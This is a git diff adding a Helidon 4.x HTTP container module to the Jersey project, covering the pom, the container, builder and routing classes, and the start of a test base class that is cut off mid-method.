diff --git a/containers/helidon/pom.xml b/containers/helidon/pom.xml
new file mode 100644
index 0000000000..a7ab87e663
--- /dev/null
+++ b/containers/helidon/pom.xml
@@ -0,0 +1,103 @@
+
+
+
+
+ 4.0.0
+
+
+ project
+ org.glassfish.jersey.containers
+ 3.1.99-SNAPSHOT
+
+
+ jersey-container-helidon-http
+ jar
+ jersey-container-helidon
+
+ Helidon (4.x) HTTP Container
+
+
+
+ jakarta.inject
+ jakarta.inject-api
+
+
+ jakarta.activation
+ jakarta.activation-api
+ test
+
+
+ io.helidon.webserver
+ helidon-webserver
+ ${helidon.container.version}
+
+
+ io.helidon.tracing
+ helidon-tracing
+ ${helidon.container.version}
+
+
+ io.helidon.http
+ helidon-http
+ ${helidon.container.version}
+
+
+ org.slf4j
+ slf4j-api
+ ${slf4j.version}
+
+
+ jakarta.servlet
+ jakarta.servlet-api
+ provided
+
+
+ org.hamcrest
+ hamcrest
+ test
+
+
+ org.apache.httpcomponents
+ httpclient
+ test
+
+
+
+
+
+
+ com.sun.istack
+ istack-commons-maven-plugin
+ true
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+ true
+
+
+
+
+
+ ${basedir}/src/main/resources
+ true
+
+
+
+
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java
new file mode 100644
index 0000000000..1c50f10c2d
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.common.context.Context;
+import io.helidon.common.tls.Tls;
+import io.helidon.webserver.WebServer;
+import io.helidon.webserver.WebServerConfig;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+/**
+ * {@link Container} running on the Helidon {@link WebServer} core, supporting Jersey routing
+ *
+ * @since 3.1.8
+ */
+public final class HelidonHttpContainer implements Container, WebServer {
+
+ private WebServer webServer;
+
+ private ApplicationHandler applicationHandler;
+
+ private HelidonJerseyBridge bridge;
+
+ HelidonHttpContainer(Application application, HelidonJerseyBridge bridge) {
+ this.applicationHandler = new ApplicationHandler(application,
+ new HelidonHttpContainerBinder(), bridge.getParentContext());
+ this.bridge = bridge;
+ webServer = bridge.getBuilder().build();
+ bridge.setContainer(this);
+ }
+
+ @Override
+ public ResourceConfig getConfiguration() {
+ return applicationHandler.getConfiguration();
+ }
+
+ @Override
+ public ApplicationHandler getApplicationHandler() {
+ return applicationHandler;
+ }
+
+ @Override
+ public void reload() {
+ reload(new ResourceConfig(getConfiguration()));
+ }
+
+ @Override
+ public void reload(ResourceConfig configuration) {
+ //Helidon container does not support reload
+ throw new IllegalStateException(LocalizationMessages.RELOAD_NOT_SUPPORTED());
+ }
+
+ @Override
+ public WebServer start() {
+ webServer.start();
+ return this;
+ }
+
+ @Override
+ public WebServer stop() {
+ webServer.stop();
+ return this;
+ }
+
+ @Override
+ public boolean isRunning() {
+ return webServer.isRunning();
+ }
+
+ @Override
+ public int port(String socketName) {
+ return webServer.port(socketName);
+ }
+
+ @Override
+ public Context context() {
+ return webServer.context();
+ }
+
+ @Override
+ public boolean hasTls(String socketName) {
+ return webServer.hasTls(socketName);
+ }
+
+ @Override
+ public void reloadTls(String socketName, Tls tls) {
+ webServer.reloadTls(socketName, tls);
+ }
+
+ @Override
+ public WebServerConfig prototype() {
+ return webServer.prototype();
+ }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java
new file mode 100644
index 0000000000..ab3118c98d
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.http.ServerRequest;
+import io.helidon.webserver.http.ServerResponse;
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.process.internal.RequestScoped;
+
+class HelidonHttpContainerBinder extends AbstractBinder {
+ @Override
+ protected void configure() {
+ bindFactory(WebServerRequestReferencingFactory.class).to(ServerRequest.class)
+ .proxy(true).proxyForSameScope(false)
+ .in(RequestScoped.class);
+ bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType[>() { })
+ .in(RequestScoped.class);
+
+ bindFactory(WebServerResponseReferencingFactory.class).to(ServerResponse.class)
+ .proxy(true).proxyForSameScope(false)
+ .in(RequestScoped.class);
+ bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType][>() { })
+ .in(RequestScoped.class);
+ }
+
+ private static class WebServerRequestReferencingFactory extends ReferencingFactory {
+
+ @Inject
+ WebServerRequestReferencingFactory(final Provider][> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ private static class WebServerResponseReferencingFactory extends ReferencingFactory {
+
+ @Inject
+ WebServerResponseReferencingFactory(final Provider][> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+}
+
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java
new file mode 100644
index 0000000000..cdb97b8141
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.common.tls.Tls;
+import io.helidon.common.tls.TlsConfig;
+import io.helidon.config.Config;
+import io.helidon.webserver.WebServerConfig;
+import io.helidon.webserver.http.HttpRouting;
+import jakarta.ws.rs.core.Application;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import java.net.URI;
+
+/**
+ * Helidon container builder.
+ * Shall be used to create any instance of the {@link HelidonHttpContainer}
+ *
+ * gives access to the inner {@link WebServerConfig.Builder} which provides possibility of better fine-tune
+ * of the container.
+ *
+ * @since 3.1.8
+ */
+public class HelidonHttpContainerBuilder {
+
+ private URI baseUri;
+
+ private Application application;
+
+ private String path;
+
+ private Tls tls;
+
+ private final WebServerConfig.Builder webServerBuilder;
+
+ private final HelidonJerseyBridge bridge;
+
+ private SSLParameters sslParameters;
+
+ private SSLContext sslContext;
+
+ private static final int DEFAULT_PORT = 8080;
+
+ private HelidonHttpContainerBuilder() {
+ bridge = new HelidonJerseyBridge();
+ webServerBuilder = bridge.getBuilder();
+ }
+
+ public WebServerConfig.Builder helidonBuilder() {
+ return webServerBuilder;
+ }
+
+
+ public static HelidonHttpContainerBuilder builder() {
+ return new HelidonHttpContainerBuilder();
+ }
+
+ public HelidonHttpContainerBuilder uri(URI baseUri) {
+ this.baseUri = baseUri;
+ return this;
+ }
+
+ public URI uri() {
+ return this.baseUri;
+ }
+
+ public HelidonHttpContainerBuilder application(Application application) {
+ this.application = application;
+ return this;
+ }
+
+ public Application application() {
+ return this.application;
+ }
+
+ public HelidonHttpContainerBuilder path(String path) {
+ this.path = path;
+ return this;
+ }
+
+ public String path() {
+ return this.path;
+ }
+
+ public HelidonHttpContainerBuilder sslParameters(SSLParameters sslParameters) {
+ this.sslParameters = sslParameters;
+ return this;
+ }
+
+ public SSLParameters sslParameters() {
+ return this.sslParameters;
+ }
+
+ public HelidonHttpContainerBuilder sslContext(SSLContext sslContext) {
+ this.sslContext = sslContext;
+ return this;
+ }
+
+ public SSLContext sslContext() {
+ return this.sslContext;
+ }
+
+ public HelidonHttpContainerBuilder port(int port) {
+ webServerBuilder.port(port);
+ return this;
+ }
+
+ public HelidonHttpContainerBuilder host(String host) {
+ webServerBuilder.host(host);
+ return this;
+ }
+
+ public HelidonHttpContainerBuilder parentContext(Object parentContext) {
+ bridge.setParentContext(parentContext);
+ return this;
+ }
+
+ public Object parentContext() {
+ return bridge.getParentContext();
+ }
+
+ public HelidonHttpContainer build() {
+ configureBaseUri();
+ webServerBuilder.config(Config.global())
+ .routing(configureRouting());
+ this.tls = configureTls();
+ if (this.tls != null) {
+ webServerBuilder.tls(this.tls);
+ }
+ return new HelidonHttpContainer(application, bridge);
+ }
+
+ private TlsConfig.Builder addSSLParameterss(TlsConfig.Builder builder) {
+ if (sslParameters != null) {
+ return builder.sslParameters(sslParameters);
+ }
+ return builder;
+ }
+
+ private TlsConfig.Builder addSSLContext(TlsConfig.Builder builder) {
+ if (sslContext != null) {
+ return builder.sslContext(sslContext);
+ }
+ return builder;
+ }
+
+ private Tls configureTls() {
+ if (this.tls == null
+ && (sslParameters != null || sslContext != null)) {
+ this.tls = addSSLParameterss(
+ addSSLContext(
+ TlsConfig.builder())
+ ).build();
+ }
+ return this.tls;
+ }
+
+ private HttpRouting.Builder configureRouting() {
+
+ final HttpRouting.Builder builder = HttpRouting.builder();
+ final HelidonJerseyRoutingService support = HelidonJerseyRoutingService.create(this.bridge);
+ if (path != null) {
+ builder.register(path, support);
+ } else if (baseUri != null && baseUri.getPath() != null) {
+ builder.register(baseUri.getPath(), support);
+ } else {
+ builder.register(support);
+ }
+
+ return builder;
+ }
+
+ private void configureBaseUri() {
+ if (baseUri != null) {
+ webServerBuilder
+ .host(baseUri.getHost())
+ .port(baseUri.getPort());
+ } else {
+ if (webServerBuilder.port() < 0) {
+ webServerBuilder.port(DEFAULT_PORT);
+ }
+
+ }
+
+ }
+
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java
new file mode 100644
index 0000000000..8e9bea7f26
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+public class HelidonHttpContainerProvider implements ContainerProvider {
+ @Override
+ public T createContainer(Class type, Application application) throws ProcessingException {
+ if (type != WebServer.class && type != HelidonHttpContainer.class) {
+ return null;
+ }
+ return type.cast(new HelidonHttpContainer(application, new HelidonJerseyBridge()));
+ }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java
new file mode 100644
index 0000000000..8c3a879dee
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServerConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+/**
+ * POJO utility class which provides backwards connectivity from the Jersey Routing service to the Container
+ */
+class HelidonJerseyBridge {
+ private final WebServerConfig.Builder builder = WebServerConfig.builder();
+
+ private Container container;
+
+ private Object parentContext;
+
+ public WebServerConfig.Builder getBuilder() {
+ return builder;
+ }
+
+ public Container getContainer() {
+ return container;
+ }
+
+ public void setContainer(Container container) {
+ this.container = container;
+ }
+
+ public Object getParentContext() {
+ return parentContext;
+ }
+
+ public void setParentContext(Object parentContext) {
+ this.parentContext = parentContext;
+ }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java
new file mode 100644
index 0000000000..ef4b82b3bc
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+
+import io.helidon.common.context.Context;
+import io.helidon.common.context.Contexts;
+import io.helidon.common.uri.UriInfo;
+import io.helidon.common.uri.UriPath;
+import io.helidon.http.Header;
+import io.helidon.http.HeaderNames;
+import io.helidon.http.HeaderValues;
+import io.helidon.http.InternalServerException;
+import io.helidon.http.Status;
+import io.helidon.webserver.KeyPerformanceIndicatorSupport;
+import io.helidon.webserver.http.HttpRules;
+import io.helidon.webserver.http.HttpService;
+import io.helidon.webserver.http.RoutingResponse;
+import io.helidon.webserver.http.ServerRequest;
+import io.helidon.webserver.http.ServerResponse;
+import jakarta.ws.rs.NotFoundException;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.SecurityContext;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.UncheckedIOException;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.security.Principal;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
+import java.util.WeakHashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
+
+/**
+ *
+ * The code is inspired by the Helidon 3.x JerseySupport class and the Helidon 4.x JaxRsService class
+ * Current class is a combination of those 2 classes adopted for Jersey needs
+ *
+ */
+class HelidonJerseyRoutingService implements HttpService {
+
+ private static final System.Logger LOGGER = System.getLogger(HelidonJerseyRoutingService.class.getName());
+ private static final Type REQUEST_TYPE = (new GenericType][>() { }).getType();
+ private static final Type RESPONSE_TYPE = (new GenericType][>() { }).getType();
+ private final HelidonJerseyBridge bridge;
+ private HelidonJerseyRoutingService(HelidonJerseyBridge bridge) {
+ this.bridge = bridge;
+ }
+
+ static HelidonJerseyRoutingService create(HelidonJerseyBridge bridge) {
+ return new HelidonJerseyRoutingService(bridge);
+ }
+
+ private static String basePath(UriPath path) {
+ final String reqPath = path.path();
+ final String absPath = path.absolute().path();
+ final String basePath = absPath.substring(0, absPath.length() - reqPath.length() + 1);
+
+ if (absPath.isEmpty() || basePath.isEmpty()) {
+ return "/";
+ } else if (basePath.charAt(basePath.length() - 1) != '/') {
+ return basePath + "/";
+ } else {
+ return basePath;
+ }
+ }
+
+ private ApplicationHandler appHandler() {
+ return bridge.getContainer().getApplicationHandler();
+ }
+
+ private Container container() {
+ return bridge.getContainer();
+ }
+
+ @Override
+ public void routing(HttpRules rules) {
+ rules.any(this::handle);
+ }
+
+ @Override
+ public void beforeStart() {
+ appHandler().onStartup(container());
+ }
+
+ @Override
+ public void afterStop() {
+ try {
+ final InjectionManager ij = appHandler().getInjectionManager();
+ appHandler().onShutdown(bridge.getContainer());
+ } catch (Exception e) {
+ if (LOGGER.isLoggable(System.Logger.Level.DEBUG)) {
+ LOGGER.log(System.Logger.Level.DEBUG, "Exception during shutdown of Jersey", e);
+ }
+ LOGGER.log(System.Logger.Level.WARNING, "Exception while shutting down Jersey's application handler "
+ + e.getMessage());
+ }
+ }
+
+ private void handle(final ServerRequest req, final ServerResponse res) {
+ final Context context = req.context();
+
+ // make these available in context for ServerCdiExtension
+ context.supply(ServerRequest.class, () -> req);
+ context.supply(ServerResponse.class, () -> res);
+
+ // call doHandle in active context
+ Contexts.runInContext(context, () -> doHandle(context, req, res));
+ }
+
+ private void doHandle(final Context ctx, final ServerRequest req, final ServerResponse res) {
+ final BaseUriRequestUri uris = BaseUriRequestUri.resolve(req);
+ final ContainerRequest requestContext = new ContainerRequest(uris.baseUri,
+ uris.requestUri,
+ req.prologue().method().text(),
+ new HelidonMpSecurityContext(),
+ new MapPropertiesDelegate(),
+ container().getConfiguration());
+ /*
+ MP CORS supports needs a way to obtain the UriInfo from the request context.
+ */
+ requestContext.setProperty(UriInfo.class.getName(), ((Supplier) req::requestedUri));
+
+ for (final Header header : req.headers()) {
+ requestContext.headers(header.name(),
+ header.allValues());
+ }
+
+ final JaxRsResponseWriter writer = new JaxRsResponseWriter(res);
+ requestContext.setWriter(writer);
+ requestContext.setEntityStream(req.content().inputStream());
+ requestContext.setProperty("io.helidon.jaxrs.remote-host", req.remotePeer().host());
+ requestContext.setProperty("io.helidon.jaxrs.remote-port", req.remotePeer().port());
+ requestContext.setRequestScopedInitializer(ij -> {
+ ij.][>getInstance(REQUEST_TYPE).set(req);
+ ij.][>getInstance(RESPONSE_TYPE).set(res);
+ });
+
+ final Optional kpiMetricsContext =
+ req.context().get(KeyPerformanceIndicatorSupport.DeferrableRequestContext.class);
+ if (LOGGER.isLoggable(System.Logger.Level.TRACE)) {
+ LOGGER.log(System.Logger.Level.TRACE, "[" + req.serverSocketId()
+ + " " + req.socketId() + "] Handling in Jersey started");
+ }
+
+ ctx.register(container().getConfiguration());
+
+ try {
+ kpiMetricsContext.ifPresent(KeyPerformanceIndicatorSupport.DeferrableRequestContext::requestProcessingStarted);
+ appHandler().handle(requestContext);
+ writer.await();
+ if (res.status() == Status.NOT_FOUND_404 && requestContext.getUriInfo().getMatchedResourceMethod() == null) {
+ // Jersey will not throw an exception, it will complete the request - but we must
+ // continue looking for the next route
+ // this is a tricky piece of code - the next can only be called if reset was successful
+ // reset may be impossible if data has already been written over the network
+ if (res instanceof RoutingResponse) {
+ final RoutingResponse routing = (RoutingResponse) res;
+ if (routing.reset()) {
+ res.status(Status.OK_200);
+ routing.next();
+ }
+ }
+ }
+ } catch (UncheckedIOException e) {
+ throw e;
+ } catch (io.helidon.http.NotFoundException | NotFoundException e) {
+ // continue execution, maybe there is a non-JAX-RS route (such as static content)
+ res.next();
+ } catch (Exception e) {
+ throw new InternalServerException("Internal exception in JAX-RS processing", e);
+ }
+ }
+
+ private static class HelidonMpSecurityContext implements SecurityContext {
+ @Override
+ public Principal getUserPrincipal() {
+ return null;
+ }
+
+ @Override
+ public boolean isUserInRole(String role) {
+ return false;
+ }
+
+ @Override
+ public boolean isSecure() {
+ return false;
+ }
+
+ @Override
+ public String getAuthenticationScheme() {
+ return null;
+ }
+ }
+
+ private static class JaxRsResponseWriter implements ContainerResponseWriter {
+ private final CountDownLatch cdl = new CountDownLatch(1);
+ private final ServerResponse res;
+ private OutputStream outputStream;
+
+ private JaxRsResponseWriter(ServerResponse res) {
+ this.res = res;
+ }
+
+ @Override
+ public OutputStream writeResponseStatusAndHeaders(long contentLengthParam,
+ ContainerResponse containerResponse) throws ContainerException {
+ long contentLength = contentLengthParam;
+ if (contentLength <= 0) {
+ String headerString = containerResponse.getHeaderString("Content-Length");
+ if (headerString != null) {
+ contentLength = Long.parseLong(headerString);
+ }
+ }
+ for (Map.Entry> entry : containerResponse.getStringHeaders().entrySet()) {
+ String name = entry.getKey();
+ List values = entry.getValue();
+ if (values.size() == 1) {
+ res.header(HeaderValues.create(HeaderNames.create(name), values.get(0)));
+ } else {
+ res.header(HeaderValues.create(entry.getKey(), entry.getValue()));
+ }
+ }
+ Response.StatusType statusInfo = containerResponse.getStatusInfo();
+ res.status(Status.create(statusInfo.getStatusCode(), statusInfo.getReasonPhrase()));
+
+ if (contentLength > 0) {
+ res.header(HeaderValues.create(HeaderNames.CONTENT_LENGTH, String.valueOf(contentLength)));
+ }
+ this.outputStream = res.outputStream();
+ return outputStream;
+ }
+
+ @Override
+ public boolean suspend(long timeOut, TimeUnit timeUnit, TimeoutHandler timeoutHandler) {
+ if (timeOut != 0) {
+ try {
+ cdl.await(timeOut, timeUnit);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ timeoutHandler.onTimeout(this);
+ //throw new UnsupportedOperationException("Currently, time limited suspension is not supported!");
+ }
+ return true;
+ }
+
+ @Override
+ public void setSuspendTimeout(long l, TimeUnit timeUnit) throws IllegalStateException {
+ //throw new UnsupportedOperationException("Currently, extending the suspension time is not supported!");
+ }
+
+ @Override
+ public void commit() {
+ try {
+ if (outputStream == null) {
+ res.outputStream().close();
+ } else {
+ outputStream.close();
+ }
+ cdl.countDown();
+ } catch (IOException e) {
+ cdl.countDown();
+ throw new UncheckedIOException(e);
+ }
+ }
+
+ @Override
+ public void failure(Throwable throwable) {
+ cdl.countDown();
+
+ if (throwable instanceof RuntimeException) {
+ throw (RuntimeException) throwable;
+ }
+ throw new InternalServerException("Failed to process JAX-RS request", throwable);
+ }
+
+ @Override
+ public boolean enableResponseBuffering() {
+ return true; // enable buffering in Jersey
+ }
+
+ public void await() {
+ try {
+ cdl.await();
+ } catch (InterruptedException e) {
+ throw new RuntimeException("Failed to wait for Jersey to write response");
+ }
+ }
+ }
+
+ private static class BaseUriRequestUri {
+ private final URI baseUri;
+ private final URI requestUri;
+
+ private BaseUriRequestUri(URI baseUri, URI requestUri) {
+ this.baseUri = baseUri;
+ this.requestUri = requestUri;
+ }
+
+ private static BaseUriRequestUri resolve(ServerRequest req) {
+ final String processedBasePath = basePath(req.path());
+ final String rawPath = req.path().absolute().rawPath();
+ final String prefix = (req.isSecure() ? "https" : "http") + "://" + req.authority();
+ final String serverBasePath = prefix + processedBasePath;
+ String requestPath = prefix + rawPath;
+ if (!req.query().isEmpty()) {
+ requestPath = requestPath + "?" + req.query().rawValue();
+ }
+ return new BaseUriRequestUri(URI.create(serverBasePath), URI.create(requestPath));
+ }
+ }
+}
diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java
new file mode 100644
index 0000000000..abe1d0c536
--- /dev/null
+++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey Helidon 4.x container classes.
+ */
+package org.glassfish.jersey.helidon;
diff --git a/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000000..bfb69f7deb
--- /dev/null
+++ b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.helidon.HelidonHttpContainerProvider
\ No newline at end of file
diff --git a/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties
new file mode 100644
index 0000000000..9c888fdd81
--- /dev/null
+++ b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties
@@ -0,0 +1,17 @@
+#
+# Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+reload.not.supported=Server cannot be stopped and restarted, please create a new server
\ No newline at end of file
diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java
new file mode 100644
index 0000000000..89fa7bbe03
--- /dev/null
+++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.junit.jupiter.api.AfterEach;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public abstract class AbstractHelidonServerTester {
+ private static final Logger LOGGER = Logger.getLogger(AbstractHelidonServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Helidon choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ if (server != null) {
+ return server.port();
+ }
+
+ final String value = PropertiesHelper.getSystemProperty("jersey.config.test.container.port").run();
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
